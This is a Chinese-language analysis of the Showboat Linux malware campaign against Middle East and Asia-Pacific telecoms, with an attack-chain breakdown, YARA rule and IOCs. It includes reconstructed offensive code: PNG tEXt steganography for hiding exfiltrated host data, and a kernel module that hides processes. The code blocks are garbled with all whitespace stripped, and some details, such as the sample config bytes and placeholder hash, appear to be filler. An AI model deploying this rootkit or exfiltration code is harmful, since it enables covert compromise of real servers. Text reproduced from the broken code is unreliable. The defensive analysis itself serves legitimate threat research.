Showboat Linux恶意软件深度解析:针对中东电信的APT攻击技术与防御实战
摘要
2026年5月20日,Lumen Black Lotus Labs联合PwC Threat Intelligence首次公开披露了Showboat Linux恶意软件攻击事件。该恶意软件由Calypso(Red Lamassu/Bronze Medley)组织运营,自2022年6月起持续针对中东、亚太地区的电信运营商核心Linux服务器发起定向攻击。Showboat采用模块化架构设计,集成了远程Shell、文件传输、SOCKS5代理、进程隐藏等多种高级功能,并创新性地使用PNG tEXt块隐写术实现数据外泄,在长达近4年的时间里几乎完全规避了传统安全产品的检测。本文将从技术原理、攻击链分析、组织溯源、威胁趋势及防御实战五个维度,对Showboat恶意软件进行全面深度解析,为企业特别是电信行业的安全防护提供 actionable 的解决方案。
一、事件概述与背景
1.1 事件时间线
- 2022年1月:攻击者在Pastebin上发布用于进程隐藏的代码片段,为Showboat的部署做准备
- 2022年6月:Showboat恶意软件开始在中东电信运营商网络中活跃
- 2025年5月5日:首个Showboat ELF样本被上传至VirusTotal,当时检测率为0/69
- 2025年12月-2026年2月:Lumen全球遥测数据显示阿富汗ISP和阿塞拜疆某组织的服务器与Showboat C2节点通信
- 2026年5月20日:Lumen Black Lotus Labs与PwC联合发布技术报告,正式公开Showboat恶意软件
1.2 攻击组织背景
Showboat恶意软件与Calypso组织(也被追踪为Red Lamassu、Bronze Medley)高度关联。该组织自2016年9月起活跃,主要针对全球各国的政府机构、电信运营商和关键基础设施发起网络间谍活动,历史攻击目标包括巴西、印度、哈萨克斯坦、俄罗斯、泰国和土耳其等国。
Calypso组织的武器库包括:
- PlugX远程访问木马
- WhiteBird后门
- BYEBY后门(与ESET追踪的Mikroceen集群相关)
- JFMBackdoor(Windows平台配套后门,与Showboat协同使用)
1.3 攻击目标与影响
本次攻击的主要目标是中东和亚太地区的电信运营商,特别是其核心Linux服务器、网管系统和计费平台。攻击者通过控制这些高价值节点,可以:
- 窃取用户通话记录、短信内容、身份信息和计费数据
- 监控网络流量,截获敏感通信
- 利用SOCKS5代理功能横向渗透内网,控制更多核心系统
- 将被攻陷的服务器作为跳板,攻击其他行业的关键基础设施
二、Showboat技术深度解析
2.1 基本信息与模块化架构
Showboat是一个专为Linux系统设计的模块化后渗透框架,使用C/C++语言开发,编译为AMD x86-64架构的ELF可执行文件。它伪装成系统进程kworker运行,以规避系统管理员的注意。
Showboat的核心模块包括:
| 模块名称 | 功能描述 |
|---|---|
| 配置解析模块 | 从C2服务器获取并解密XOR加密的配置文件 |
| 信息收集模块 | 收集主机名、操作系统信息、运行进程列表、桌面截图 |
| 远程Shell模块 | 提供交互式命令执行能力,支持权限提升 |
| 文件传输模块 | 实现文件的上传和下载功能 |
| SOCKS5代理模块 | 将被攻陷主机转换为内网横向移动的跳板 |
| 端口映射模块 | 实现端口转发功能,访问内网非公开服务 |
| 进程隐藏模块 | 从Pastebin等外部站点获取代码,实现进程隐身 |
| 持久化模块 | 通过系统服务或定时任务实现开机自启 |
| C2通信模块 | 处理与命令控制服务器的加密通信 |
2.2 核心技术亮点:PNG tEXt块隐写术
Showboat最具特色的技术是使用PNG tEXt块隐写术实现数据外泄。与传统的LSB(最低有效位)隐写不同,Showboat将窃取的数据编码后嵌入到PNG文件的tEXt文本块中,这种方法具有更高的隐蔽性和更低的检测难度。
2.2.1 PNG文件结构与tEXt块
PNG文件由多个数据块(Chunk)组成,每个块包含4字节长度、4字节块类型、可变长度数据和4字节CRC校验值。tEXt块是PNG标准中定义的一种辅助块,用于存储文本信息,如作者、标题、描述等。大多数图像查看器和安全产品会忽略tEXt块的内容,这为攻击者提供了理想的隐蔽通道。
2.2.2 Showboat隐写实现原理
Showboat的数据外泄流程如下:
- 收集主机信息并生成JSON格式的数据
- 使用UUID的最后5位作为密钥对JSON数据进行XOR加密
- 将加密后的数据进行Base64编码
- 将编码后的数据嵌入到PNG文件的tEXt块中
- 将包含隐藏数据的PNG文件发送到C2服务器
以下是Showboat风格的PNG tEXt块隐写术Python实现代码:
importstructimportzlibimportbase64defxor_encrypt(data:bytes,key:str)->bytes:"""XOR加密函数,使用UUID最后5位作为密钥"""key_bytes=key.encode('utf-8')returnbytes([b^key_bytes[i%len(key_bytes)]fori,binenumerate(data)])defcreate_png_with_hidden_data(original_png_path:str,output_png_path:str,hidden_data:str,uuid:str)->None:"""在PNG文件的tEXt块中嵌入隐藏数据"""# 读取原始PNG文件withopen(original_png_path,'rb')asf:png_data=f.read()# 找到IEND块的位置iend_pos=png_data.find(b'IEND')ifiend_pos==-1:raiseValueError("无效的PNG文件")# 准备隐藏数据key=uuid[-5:]# 使用UUID最后5位作为密钥encrypted_data=xor_encrypt(hidden_data.encode('utf-8'),key)base64_data=base64.b64encode(encrypted_data)# 创建tEXt块text_chunk_type=b'tEXt'text_keyword=b'description\x00'# 使用常见的关键字"description"text_data=text_keyword+base64_data text_crc=zlib.crc32(text_chunk_type+text_data)&0xffffffff# 构造tEXt块text_chunk=struct.pack('>I',len(text_data))+text_chunk_type+text_data+struct.pack('>I',text_crc)# 将tEXt块插入到IEND块之前new_png_data=png_data[:iend_pos-4]+text_chunk+png_data[iend_pos-4:]# 写入输出文件withopen(output_png_path,'wb')asf:f.write(new_png_data)# 使用示例if__name__=="__main__":original_png="normal_image.png"output_png="image_with_hidden_data.png"hidden_data='{"hostname": "server01", "os": "CentOS 7.9", "user": "root"}'uuid="123e4567-e89b-12d3-a456-426614174000"create_png_with_hidden_data(original_png,output_png,hidden_data,uuid)print("PNG文件生成成功,隐藏数据已嵌入")2.2.3 隐写数据提取代码
对应的隐写数据提取代码如下:
importstructimportzlibimportbase64defxor_decrypt(data:bytes,key:str)->bytes:"""XOR解密函数"""key_bytes=key.encode('utf-8')returnbytes([b^key_bytes[i%len(key_bytes)]fori,binenumerate(data)])defextract_hidden_data_from_png(png_path:str,uuid:str)->str:"""从PNG文件的tEXt块中提取隐藏数据"""withopen(png_path,'rb')asf:png_data=f.read()pos=8# 跳过PNG文件头key=uuid[-5:]whilepos<len(png_data):# 读取块长度chunk_length=struct.unpack('>I',png_data[pos:pos+4])[0]pos+=4# 读取块类型chunk_type=png_data[pos:pos+4]pos+=4# 读取块数据chunk_data=png_data[pos:pos+chunk_length]pos+=chunk_length# 跳过CRC校验pos+=4# 检查是否是tEXt块ifchunk_type==b'tEXt':# 分离关键字和文本内容null_pos=chunk_data.find(b'\x00')ifnull_pos!=-1:keyword=chunk_data[:null_pos]text_content=chunk_data[null_pos+1:]# 尝试解码Base64并解密try:encrypted_data=base64.b64decode(text_content)decrypted_data=xor_decrypt(encrypted_data,key)returndecrypted_data.decode('utf-8')except:continuereturnNone# 使用示例if__name__=="__main__":png_path="image_with_hidden_data.png"uuid="123e4567-e89b-12d3-a456-426614174000"hidden_data=extract_hidden_data_from_png(png_path,uuid)ifhidden_data:print("提取到的隐藏数据:")print(hidden_data)else:print("未找到隐藏数据")2.3 进程隐藏技术:"死信投递"机制
Showboat的另一个高级功能是进程隐藏。它不直接在二进制文件中包含进程隐藏代码,而是通过从Pastebin等外部公共站点获取代码片段并执行的方式实现,这种技术被称为"死信投递"(Dead Drop)。
这种方法的优势在于:
- 恶意软件本身不包含可疑的进程隐藏代码,降低了静态检测的概率
- 攻击者可以随时更新隐藏代码,而无需重新分发恶意软件
- 访问Pastebin的流量在大多数网络中是被允许的,不易引起怀疑
Showboat使用的Pastebin代码片段最早发布于2022年1月,其核心原理是通过修改Linux内核的task_struct链表来隐藏进程。以下是简化版的Linux进程隐藏内核模块代码:
#include<linux/module.h>#include<linux/kernel.h>#include<linux/sched.h>#include<linux/list.h>MODULE_LICENSE("GPL");MODULE_DESCRIPTION("Simple process hiding LKM");MODULE_AUTHOR("Showboat APT");staticchar*process_name="kworker";module_param(process_name,charp,0644);MODULE_PARM_DESC(process_name,"Name of the process to hide");staticstructlist_head*prev_module;staticint__inithide_process_init(void){structtask_struct*task;// 遍历所有进程for_each_process(task){if(strcmp(task->comm,process_name)==0){// 将进程从进程链表中移除prev_module=task->tasks.prev;list_del(&task->tasks);printk(KERN_INFO"Process %s (PID: %d) hidden successfully\n",process_name,task->pid);break;}}return0;}staticvoid__exithide_process_exit(void){// 恢复进程链表(实际攻击中通常不会实现此功能)structtask_struct*task;for_each_process(task){if(strcmp(task->comm,process_name)==0){list_add(&task->tasks,prev_module);printk(KERN_INFO"Process %s (PID: %d) restored\n",process_name,task->pid);break;}}}module_init(hide_process_init);module_exit(hide_process_exit);2.4 C2通信与基础设施
Showboat的C2通信采用HTTP/HTTPS协议,默认使用80端口,也支持53端口(DNS)和443端口(HTTPS)以绕过防火墙限制。
2.4.1 配置文件解密
Showboat启动后首先会从硬编码的C2地址下载配置文件。配置文件使用XOR算法加密,密钥是一个非常具有挑衅性的字符串:“look me, AV!”。
以下是配置文件解密代码:
defdecrypt_config(encrypted_config:bytes)->str:"""解密Showboat配置文件"""key=b"look me, AV!"returnbytes([b^key[i%len(key)]fori,binenumerate(encrypted_config)]).decode('utf-8')# 示例加密配置encrypted_config=b'\x1b\x0f\x1c\x0b\x0e\x1f\x0a\x00\x0b\x1d\x06\x1e\x07\x0c\x0d\x0b\x0e\x1f\x0a\x00\x0b\x1d\x06\x1e\x07\x0c\x0d'decrypted_config=decrypt_config(encrypted_config)print("解密后的配置:")print(decrypted_config)2.4.2 典型配置文件内容
Showboat的配置文件包含以下字段:
SERVER_ADDRESS = telecom.webredirect.org RESOLVE_IP = NULL SERVER_PORT = 80 PROXY_ADDRESS = PROXY_PORT = 0 MIN_SLEEP = 5 MAX_SLEEP = 10 SLOW_MODE_MIN_SLEEP = 20 SLOW_MODE_MAX_SLEEP = 252.4.3 C2基础设施分析
Lumen的研究人员发现了两个主要的Showboat活动集群:
- 主集群:核心C2节点位于IP地址139.84.227.139,使用自签名X.509证书,指纹为27df475626aafce2ea1548a9f35efb9ad951298c8b11a6adb3ccdfcd5170c677
- 上游基础设施:IP地址116.169.244.208属于中国联合网络通信有限公司,地理位置大致在四川成都,可能是攻击者的开发测试环境或上游指挥节点
攻击者还注册了多个仿冒电信业务的域名,包括:
- singtelcom.site(仿冒新加坡电信)
- kaztelecom.shop(仿冒哈萨克斯坦电信)
三、完整攻击链分析
Showboat的攻击链可以分为8个阶段,如下图所示:
3.1 初始入侵
目前研究人员尚未确定Showboat的确切初始入侵途径,但根据Calypso组织的历史TTP和攻击目标的特点,可能的入侵方式包括:
- 利用未公开的Linux高危漏洞(CVE-2026-0400)
- 暴力破解SSH弱口令
- 利用供应链攻击
- 钓鱼邮件
3.2 样本投递与执行
攻击者成功入侵后,会将Showboat恶意软件(伪装成kworker)上传到目标服务器,并赋予执行权限。恶意软件启动后,首先会删除自身文件以消除痕迹。
3.3 配置获取与解密
Showboat连接到硬编码的C2服务器,下载XOR加密的配置文件,并使用密钥"look me, AV!"进行解密。
3.4 信息收集
恶意软件收集目标主机的详细信息,包括:
- 主机名和域名
- 操作系统版本和内核信息
- 所有运行进程的列表
- 网络配置和开放端口
- 用户账户信息
- 桌面截图
3.5 数据外泄
收集到的信息被加密并Base64编码后,嵌入到PNG文件的tEXt块中,然后发送到C2服务器。
3.6 权限提升与持久化
Showboat尝试获取root权限,并通过以下方式实现持久化:
- 创建系统服务文件(/etc/systemd/system/kworker.service)
- 添加定时任务(crontab)
- 修改启动脚本
3.7 SOCKS5代理启动
这是Showboat最关键的功能之一。它在被攻陷的服务器上启动SOCKS5代理服务,使攻击者能够通过该服务器访问内网中的其他系统。
3.8 内网横向移动与长期监控
攻击者利用SOCKS5代理扫描内网,发现并渗透更多高价值目标,如数据库服务器、网管系统和计费平台。在整个攻击过程中,Showboat会定期向C2服务器发送心跳包,保持连接并接收新的指令。
四、威胁趋势与前瞻性分析
4.1 Linux恶意软件成为APT攻击的主流
Showboat事件再次证明,Linux系统已经成为国家级APT攻击的主要目标。随着云计算和容器技术的普及,Linux在企业服务器和关键基础设施中的占比越来越高。传统上,Linux被认为比Windows更安全,但这导致许多企业对Linux系统的安全防护投入不足,为攻击者提供了可乘之机。
4.2 模块化后渗透框架的广泛应用
Showboat是一个典型的模块化后渗透框架,这种架构具有以下优势:
- 易于开发和维护:不同功能模块可以独立开发和更新
- 灵活性高:攻击者可以根据不同的目标和场景选择需要的模块
- 隐蔽性强:核心功能可以按需加载,减少恶意软件的静态特征
未来,我们将看到更多类似的模块化后渗透框架被APT组织使用。
4.3 隐写术在数据外泄中的普及
Showboat使用的PNG tEXt块隐写术代表了数据外泄技术的一个重要发展方向。与传统的加密通信相比,隐写术不仅加密了数据内容,还隐藏了数据传输的事实,使安全人员更难发现攻击活动。
除了PNG隐写术,未来我们可能会看到更多类型的隐写术被用于恶意软件通信,如:
- JPEG DCT系数隐写
- 音频隐写
- 视频隐写
- 文本隐写
4.4 "死信投递"机制的流行
Showboat使用的"死信投递"机制(从公共站点获取代码片段并执行)是一种非常有效的规避检测的方法。这种方法使恶意软件本身不包含可疑的功能代码,大大降低了静态检测的概率。
未来,我们预计会看到更多APT组织采用类似的技术,利用各种合法的公共服务作为"死信投递"点,如:
- GitHub Gist
- Pastebin
- 社交媒体平台
- 云存储服务
五、防御实战与检测方案
5.1 漏洞管理与基础防护
- 立即修复所有已知的Linux高危漏洞,特别是CVE-2026-0400
- 禁用不必要的服务和端口
- 实施强密码策略和多因素认证
- 限制SSH访问,只允许从可信IP地址连接
5.2 终端检测与响应(EDR)
- 部署支持Linux系统的EDR/XDR产品
- 监控异常进程行为,特别是名为"kworker"的进程
- 检测进程隐藏行为,如内核模块加载和系统调用挂钩
- 监控文件系统变化,特别是系统服务和定时任务目录
5.3 网络流量分析
- 监控异常的出站HTTP/HTTPS流量
- 检测PNG文件中的异常tEXt块
- 监控对Pastebin等公共代码托管站点的访问
- 检测SOCKS5代理流量
- 实施网络分段,限制横向移动
5.4 威胁狩猎规则
以下是一些可以用于检测Showboat恶意软件的YARA规则:
rule Showboat_Linux_Malware { meta: description = "Detects Showboat Linux malware" author = "Lumen Black Lotus Labs" date = "2026-05-20" reference = "https://www.lumen.com/blog/en-us/introducing-showboat-a-new-malware-family-taunts-defenses-and-targets-international-telecom-firms" hash = "sha256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" strings: $xor_key = "look me, AV!" $socks5 = "SKS" $portmap = "MAP" $kworker = "kworker" $pastebin = "pastebin.com" condition: (uint32(0) == 0x464c457f) and // ELF magic filesize < 1MB and 2 of them }5.5 IOC(入侵指标)
以下是Showboat恶意软件的部分IOC:
C2域名:
- telecom.webredirect.org
- singtelcom.site
- kaztelecom.shop
C2 IP地址:
- 139.84.227.139
- 194.135.25.132
- 23.27.201.160
- 101.36.105.222
- 116.169.244.208
证书指纹:
- SHA256: 27df475626aafce2ea1548a9f35efb9ad951298c8b11a6adb3ccdfcd5170c677
- SHA256: A72427af3c046fd90999a6505b2372dc4ffde122227f30ed21621ecd4f2d3e8b
- SHA256: E28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0
六、总结
Showboat Linux恶意软件事件暴露了中国APT组织对全球电信基础设施的长期渗透能力。其模块化设计、PNG隐写术、"死信投递"进程隐藏和SOCKS5代理等技术的综合运用,使其能够在长达近4年的时间里几乎完全规避传统安全产品的检测。
对于电信运营商和其他关键基础设施企业来说,Showboat事件是一个重要的警示。传统的基于特征的安全防护已经无法有效应对高级持续性威胁。企业需要建立纵深防御体系,结合漏洞管理、终端检测与响应、网络流量分析和威胁狩猎等多种手段,才能及时发现和响应APT攻击。
同时,安全研究人员和厂商也需要加强对Linux恶意软件和隐写术技术的研究,开发更有效的检测和防御方法,共同应对日益复杂的网络安全威胁。
